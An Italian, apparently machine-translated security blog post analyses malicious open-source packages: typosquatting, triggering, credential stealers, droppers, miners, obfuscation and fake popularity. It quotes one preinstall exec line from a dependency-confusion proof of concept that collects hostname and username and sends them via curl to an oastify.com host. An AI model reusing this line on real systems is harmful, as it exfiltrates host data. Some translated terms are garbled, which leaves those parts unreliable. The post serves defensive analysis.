Nell'episodio precedente, Pacchetti dannosi open source: il problema, abbiamo discusso del motivo per cui gli autori delle minacce erano così entusiasta di pubblicare nuovi componenti dannosi o di iniettare malware nelle ultime versioni di componenti esistenti: l'infrastruttura open source consente a chiunque, ovunque, di creare un account temporaneo in un registro dei componenti (come NPM, PyPI, Docker Hub o Visual Studio Marketplace) o una piattaforma di sviluppo collaborativo (come GitHub). Costo zero e molte opportunità per sfruttare l'eccessiva fiducia che i team software tradizionalmente ripongono nei componenti di terze parti.
L’asimmetria tra quanto sia facile per gli aggressori distribuire malware utilizzando l’infrastruttura disponibile per l’open source e quanto sia difficile per le organizzazioni che sviluppano software (tutti?) evitare di essere infettati dal malware (e fornire malware nel software che distribuiscono per altri), hanno portato a quasi un quarto di milione di pacchetti dannosi raggiunti lo scorso anno.
Si tratta di un problema di tale portata che nessuna singola organizzazione può risolverlo e la comunità è in procinto di riformulare il processo open source in termini di fiducia, principi di sicurezza per impostazione predefinita e di sicurezza fin dalla progettazione e ciclo di vita dei componenti. Daremo un'occhiata a queste idee nel prossimo episodio Protezione dai pacchetti dannosi open source: cosa (non) funziona.
Ricorda che stiamo parlando di componenti software a cui la maggior parte delle volte corrispondono pacchetti software: componenti riutilizzabili impacchettati in modo che possano essere referenziati come dipendenza in un manifesto del software e installati con un gestore di pacchetti o uno strumento di compilazione. Tieni presente che questo caso potrebbe essere ampliato per includere il pubblico immagini di contenitore (utilizzato dai runtime dei contenitori e dalle piattaforme di orchestrazione come Kubernetes) e estensioni agli strumenti software (per la costruzione, l'automazione e la distribuzione).
Qui analizziamo come ciò tattica di attacco basata su componenti dannosi funziona, secondo gli esempi passati e ciò che abbiamo visto nella nostra piattaforma per il Malware Early Warning (MIAGOLARE). Analizzeremo i componenti dannosi in diverse dimensioni:
(1) il modo scelto per la distribuzione (registro utilizzato, in un componente nuovo o esistente, e la tecnica utilizzata per infettare la versione del componente pubblicata), (2) come viene attivato o attivato il malware, (3) il comportamento dannoso ovvero quali azioni dannose vengono osservate e quale è la motivazione dell'aggressore, (4) quali tecniche sono comuni per l'offuscamento, il nascondersi per passare inosservati, il movimento laterale, la comunicazione con host di comando e controllo (C2), ecc.; e (5) le tecniche per ottenere abbastanza popolarità e fiducia da far sì che le vittime finiscano per installare il componente.
Il meccanismo di distribuzione scelto
Osserviamo un “rumore di sottofondo" di pacchetti dannosi non sofisticati che utilizzano il typosquatting per effettuare phishing agli sviluppatori incauti con un errore di battitura nel nome del pacchetto per la loro dipendenza. Molti pacchetti popolari ricevono una raffica di pacchetti con nomi simili contenenti errori di battitura, con l'aspettativa che possano phishing alcuni sviluppatori incauti.
Usano un account effimero, pubblicano un gruppo di pacchetti typosquat, ne creano un altro e pubblicano un altro gruppo... Utilizzando un po' di automazione e ingegnosità possono ottenere una certa sofisticazione, ma in genere sono piuttosto banali. Li chiamiamo internamente “acciughe”. Il furto di credenziali è l'obiettivo principale, ma occasionalmente troviamo spyware che esfiltra codice sorgente o dati sensibili come informazioni di identificazione personale (PII), cattura di appunti e altri dubbi.
All'improvviso vediamo componenti dannosi più sofisticati, gli “squali”. Una minoranza si rivolge a gruppi o organizzazioni specifici, in genere con crypto drainer o web skimmer che vengono attivati in modo condizionato, magari seguendo l'approccio visto nel incidente del flusso di eventi di decrittografare il carico utile dell'attacco solo quando il pacchetto viene referenziato da un pacchetto di destinazione.
Il meccanismo distributivo è stato analizzato nell’ottimo e ormai classico articolo, “Collezione di coltelli di Backstabber: una revisione degli attacchi alla catena di fornitura di software open source”, che è assolutamente da leggere. Sicuramente hai già visto questo bel grafico:
Sono state esplorate tutte le strade, compresi i pacchetti nuovi ed esistenti; influenzare il codice sorgente, il sistema di compilazione o il componente stesso nel pacchetto; utilizzo di credenziali rubate o di ingegneria sociale; dirottare account e repository abbandonati o avvelenare quelli mantenuti. Alcuni attacchi hanno ricevuto nomi (Typosquatting, Confusione delle dipendenze, Confusione manifesta, Repo-jacking. ecc.) e sono già stati discussi altrove.
E i registri scelti?
NPM continua a essere in testa al numero totale di pacchetti dannosi, ma a partire da quest’anno abbiamo notato un picco su PyPI. Python è un ecosistema popolare per la scienza dei dati e l'apprendimento automatico. In effetti, la densità del malware è ora più elevata in PyPI che in NPM.
Come viene attivato il malware
I pacchetti dannosi vengono attivati durante l'installazione solo in 4 casi su 10 (negli ultimi anni erano quasi 6 su 10). Il resto esegue comportamenti dannosi in fase di esecuzione, con 1 su 100 attivato durante l'esecuzione dei test. Gli aggressori sembrano sapere che in molti posti l'esecuzione incontrollata degli script di installazione è stata disattivata.
Cosa ottengono i cattivi?
Elencheremo le categorie di comportamenti dannosi, iniziando con le più popolari. Tieni presente che l'impatto potrebbe essere molto diverso: a tergicristallo è ostinatamente distruttivo, ma non è comune ed è stato riscontrato solo in pochi casi, in relazione a campagne di guerra informatica mirate o a brutale hacktivismo. Le seguenti categorie sono piuttosto comuni:
- InfoStealer/Svuota credenziali. Di gran lunga più frequenti, oltre il 90% degli attacchi non sofisticati sono semplici ladri che cercano principalmente credenziali come password, token di accesso, chiavi API e chiavi private (per SSH e simili). Probabilmente è il più semplice da scrivere (insieme ai tergicristalli?). Enumerano file/directory conosciuti e altre fonti (ad esempio chiavi di registro), impacchettano i contenuti e inviano i dati a un server C2. L'idea è semplice: “Pubblico uno stealer di credenziali di phishing, così posso successivamente utilizzare le credenziali per lanciare un attacco diretto”.
La rete C2 osservata è in genere economica e sporca, come i canali Telegram o strumenti di tunneling simili a ngrok (spesso sotto forma di proxy inversi esposti tramite IP di uscita VPN). Ci sono centinaia (!) di possibilità, con molti progetti GitHub sotto il dominio argomento sul ladro di password. Specializzazioni come i keylogger sono rare per i pacchetti dannosi e le immagini dei contenitori, ma più frequenti nelle estensioni degli strumenti, dove è prevista l'interazione dell'utente.
- Contagocce/Downloader. Il secondo in termini di popolarità, solitamente primo negli attacchi multi-fase. Più di un componente dannoso su tre dispone di dropper (se il payload dannoso è incluso nel pacchetto) o downloader (il payload viene scaricato da un endpoint sotto il controllo dell'aggressore). Il payload è spesso una variante nota del malware binario e viene eseguito e talvolta persistente per l'installazione di backdoor, spyware, drenatori di criptovalute e altri casi d'uso. Il payload scaricato o distribuito avvia un attacco di seconda fase con tutta la potenza fornita dai file binari del malware esistente. I file binari possono essere distribuiti all'interno del pacchetto, spesso mascherati da immagini o tipi di file apparentemente innocui, per evitare il rilevamento durante la connessione a siti imprevisti.
- Ladri/minatori di criptovaluta. Gli avversari motivati dal punto di vista finanziario sono disposti a utilizzare le tue risorse cloud per eseguire cryptominer (rilevano anche se sono in esecuzione in una VM cloud). A loro non interessa il rapporto di profitto basso di $ 1 per ogni $ 53 addebitati alla vittima per l'infrastruttura cloud rubata. Le vittime potrebbero non esserne consapevoli finché non ricevono una fattura inaspettata. Fortunatamente, questo va e viene. Cryptojacking occasionalmente compaiono campagne in pacchetti dannosi che poi svaniscono, phishing per gli utenti del portafoglio o eventualmente prendendo di mira il fornitore del portafoglio, come nel caso Attacco al registro.
Altri comportamenti, come la distribuzione di a porta posteriore per l'esecuzione di codice remoto mediante l'apertura di una shell inversa è meno frequente ora che in passato. Ad esempio, il 123rf_contributor_web pacchetto (ora rimosso dal registro) si apre senza alcun offuscamento con una shell inversa copiata e incollata dal file Foglio informativo sulla shell inversa:
Oltre a componenti legittimi e dannosi, abbiamo osservato diversi abusi, tra cui:
Pacchetti di spam
Ci sono migliaia di piccoli pacchetti, per lo più in NPM, senza malware ma che promettono guadagni facili, olio di serpente, collegamenti alle offerte di Viagra e tutto il resto. Alcuni utenti pubblicano questo tipo di spam e sottraggono molta larghezza di banda al registro. Un altro attore, forse indonesiano, ha cercato di trarne vantaggio abusando del teaRank destinato a compensare gli sviluppatori open source, creando decine di migliaia di pacchetti NPM correlati con repository fittizi GitHub correlati. Questa è una chiara violazione dei termini di utilizzo.
Bug bounty e bufale nella ricerca sulla sicurezza
Quando un pacchetto descrive se stesso come un'esfiltratore di dati per buoni scopi, come il rilevamento di difetti di sicurezza per programmi di bug bounty o la ricerca di determinati aspetti dell'ecosistema. Abbiamo visto migliaia di pacchetti in questa categoria, che recuperano dati identificativi ma non troppo sensibili a un indirizzo Burp Collaborator da PortSwigger (ad esempio host nel dominio oastify.com). Abbiamo osservato spesso imitatori del Confusione delle dipendenze proof-of-concept di Alex Birsan, come il aurora-webmail-pro pacchetto (rimosso dal registro), che esegue semplicemente questo codice sgradevole nello script di preinstallazione:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")
E includeva anche un "Questa è una prova di concetto di attacco con confusione di dipendenza semplice" descrizione della dichiarazione di non responsabilità nel pacchetto.json. Questa è una chiara violazione dei termini di servizio, anche senza intenti dannosi.
Qualche buona notizia? Non abbiamo visto (ancora) attacchi ransomware sferrati tramite componenti dannosi. Per ragioni sconosciute, i criminali informatici sembrano preferire meccanismi di distribuzione di download drive-by e di phishing via e-mail più tradizionali, basati su RDP.
Tecniche aggiuntive osservate
Molte tecniche sono state utilizzate per la persistenza, l'evasione della difesa, la raccolta di informazioni, la comunicazione con gli host di comando e controllo e l'esfiltrazione.
Persistenza Nei componenti dannosi si ottiene utilizzando le funzionalità di persistenza di un malware binario di seconda fase, ma a volte il comportamento si trova nel codice del pacchetto, con le attività pianificate e le modifiche nel registro di Windows le più comuni.
Offuscazione è comune, ma non sofisticato. La maggior parte dei pacchetti di typosquatting (ricordate il "acciughe”?) non utilizzare affatto l'offuscamento; molti usano metodi banali (codifica base64/hex o cifrari di sostituzione come rot13) oppure usano offuscatori e minimizzazioni del codice disponibili, che possono essere facilmente invertiti con gli strumenti giusti. Solo gli “squali” fanno un reale, hardcore, offuscamento, difficile da decodificare.
L'offuscamento può nascondere l'attacco, ma perché il codice in un componente open source dovrebbe essere offuscato? Esistono prove che qualcosa debba essere nascosto alla vista? Abbiamo riscontrato molti esempi di pacchetti non dannosi che utilizzano l'offuscamento per proteggere la proprietà intellettuale, il che è contrario al concetto di "open source". L'offuscamento può essere utilizzato come prova della presenza di malware, ma non è conclusivo. È anche difficile da de-offuscare.
Evasione dai controlli di difesa adotta tecniche semplici. Il codice dannoso è spesso protetto in prova a prendere blocchi che ignorano qualsiasi eccezione, quindi l'attività anomala non viene mostrata nei log. La verifica dell'ambiente (in esecuzione in una macchina virtuale o in un contenitore) è rara, a meno che non si tratti di malware che prende di mira una particolare organizzazione o ambiente.
Il mascheramento di file binari in immagini e file PDF (una sorta di steganografia) era un'altra tecnica utilizzata per eludere il rilevamento.
Poiché i componenti dannosi più comuni sono gli infostealer, raccolta dei dati è essenziale. I segreti (password, token di accesso, chiavi API, chiavi crittografiche) vengono regolarmente scansionati nei file di registro, nelle variabili di ambiente e persino negli appunti (visto con trojan bancari e ladri di criptovalute). Anche l'esfiltrazione del codice sorgente è comune, poiché l'installazione del pacchetto viene spesso eseguita in un nodo di sviluppo in cui i repository git interni potrebbero essere clonati. Abbiamo visto pacchetti enumerare directory alla ricerca di repository git. La ricerca di posizioni come .env, private.pem, settings.py, app.js o application.properties è abbastanza comune.
L’esfiltrazione è un’altra azione ampiamente utilizzata. Solo una minoranza di pacchetti dannosi tenta addirittura di nascondere la destinazione dei dati estratti. Canali Telegram e tunnel simili a ngrok vengono spesso utilizzati. E ce ne sono molti domini generalmente autorizzati utilizzati per l'esfiltrazione.
Altre tecniche, come l’escalation dei privilegi o il movimento laterale, erano meno comuni.
Guadagnare popolarità e fiducia
Immagina un truffatore tecnologico con una cosa dannosa killer già pronta che si chiede: “Come faccio a realizzare questo pezzo di s#$! degno di fiducia per quegli ignari deficienti?“.
Ciò si traduce in come fare in modo che la voce per il componente dannoso mostri molte stelle/fork (per popolarità), più versioni/problemi e pull requests (per attività). L'idea è di ottenere popolarità fittizia (stelle) e dipendenti, e un aspetto convincente per quanto riguarda la pertinenza e il mantenimento.
Il registro non controlla se il contenuto di un progetto GitHub e il contenuto del pacchetto corrispondono. Questo è un problema ben noto nella catena di fornitura del software. I pubblici registri sono gigantesche voragini che ingoiano tutto ciò che gli viene gettato addosso. Puoi collegare qualsiasi repository.
Se il pacchetto dannoso commette un errore di battitura in uno popolare, è facile: basta fare riferimento al repository GitHub esistente nel manifest delle dipendenze utilizzato per creare il pacchetto e pubblicarlo nel registro. Per i nuovi pacchetti su un falso repository GitHub, potresti aver bisogno di più ingegno, magari creando fake osservare le stelle/biforcarsi Account GitHub tramite script.
E se il contenuto del tuo pacchetto è ragionevolmente simile al repository, inserisci un paio di modifiche ben progettate qua e là... Puoi inserire il tuo malware in un nuovo pacchetto che assomiglia a uno popolare che fa riferimento al repository esistente e attendi gli errori di battitura . Se qualcuno osa confrontare il contenuto del tarball del pacchetto con il contenuto del repository GitHub, le differenze nei punti di iniezione del malware potrebbero facilmente non essere notate. Abbiamo già visto questo approccio molte volte.
Un meccanismo che consenta a un componente di rilasciare una dichiarazione a prova di manomissione sulla provenienza, su come è stato costruito il pacchetto, da quali fonti e da chi sarebbe il benvenuto. Ma questa è un'altra storia.
Il componente X è malware?
Esiste un database (completo) di pacchetti dannosi? No. Alle vulnerabilità open source viene assegnato un ID CVE, ma solo ad alcuni pacchetti dannosi (in particolare quelli che fanno notizia) ne viene assegnato uno. Il CWE per i pacchetti dannosi è CWE-506 (codice dannoso incorporato).
I comuni strumenti malware (VirusTotal, MalwareBazaar, SOREL-20M...) non prevedono disposizioni specifiche per i componenti dannosi. Sarebbe il benvenuto!
Esistono database di esempio di ricerca e set di dati per l'analisi (ne utilizziamo alcuni), ma le voci vengono aggiornate solo quando il pacchetto dannoso viene riconosciuto, il che spesso è troppo tardi. Se sei interessato, il OpenSSF Pacchetti dannosi è un bell'inizio
Nel prossimo post discuteremo come sapere se un determinato pacchetto è dannoso. Spoiler: sì, esistono modi per verificare la presenza di componenti dannosi durante la finestra di esposizione, prima che il registro rimuova un componente dannoso noto.
Ulteriori letture
Nella prossima puntata”Protezione dai pacchetti dannosi open source: cosa (non) funziona" discuteremo le cose da fare e da non fare per la sicurezza open source. La maggior parte dei professionisti attenti alla sicurezza hanno intuizioni su come gestire questa minaccia, ma abbondano idee sbagliate.
Esamineremo il motivo per cui queste idee sono sbagliate e il modo in cui tali idee sbagliate contribuiscono alla popolarità di questo meccanismo di attacco e al rischio enorme che le organizzazioni stanno affrontando. Procederemo quindi con ciò che funziona e quali sono gli sforzi e le risorse coinvolte.
Inoltre, pubblicheremo l'evoluzione dei pacchetti dannosi in termini di intenti, meccanismo di iniezione e tecniche di attacco.
Rimanete sintonizzati!
